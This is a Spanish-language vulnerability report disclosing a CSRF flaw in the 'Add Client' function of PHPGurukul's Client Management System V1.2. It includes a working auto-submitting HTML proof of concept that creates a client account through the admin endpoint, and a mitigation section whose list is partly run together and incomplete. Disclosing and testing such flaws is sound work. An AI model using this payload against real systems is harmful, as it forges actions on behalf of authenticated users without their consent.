
Prueba de concepto que demuestra una vulnerabilidad CSRF en un sistema de gestión de clientes basado en PHP, con código de explotación HTML y estrategias de mitigación para pruebas de seguridad en aplicaciones web.
Nombre del Proyecto y URL del Repositorio : https://phpgurukul.com/client-management-system-using-php-mysql/
Nombre de la Vulnerabilidad : Cross-Site Request Forgery (CSRF)
Versión Afectada : V1.2
Existe una vulnerabilidad de Cross-Site Request Forgery (CSRF) en la funcionalidad de Añadir Cliente del Sistema de Gestión de Clientes desarrollado por PHPGurukul. CSRF es un ataque en el que un usuario autenticado es engañado para que envíe una solicitud maliciosa a una aplicación web. Esto puede dar lugar a acciones no autorizadas realizadas en nombre del usuario. En este informe, demostramos cómo se puede utilizar CSRF para crear usuarios falsos en un Sistema de Gestión de Clientes y sugerimos estrategias de mitigación.
Usando las credenciales proporcionadas, inicie sesión en el Sistema de Gestión de Clientes.



A continuación se muestra el PoC en HTML para el ataque CSRF:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Para prevenir ataques CSRF, implemente las siguientes medidas:
SameSite=Strict o SameSite=Lax.POST para acciones sensibles y evite procesar solicitudes GET con efectos secundarios.Este informe demuestra cómo las vulnerabilidades CSRF pueden ser explotadas para crear Clientes no autorizados en un Sistema de Gestión de Clientes. La implementación de las estrategias de mitigación sugeridas ayudará a asegurar la aplicación contra tales ataques.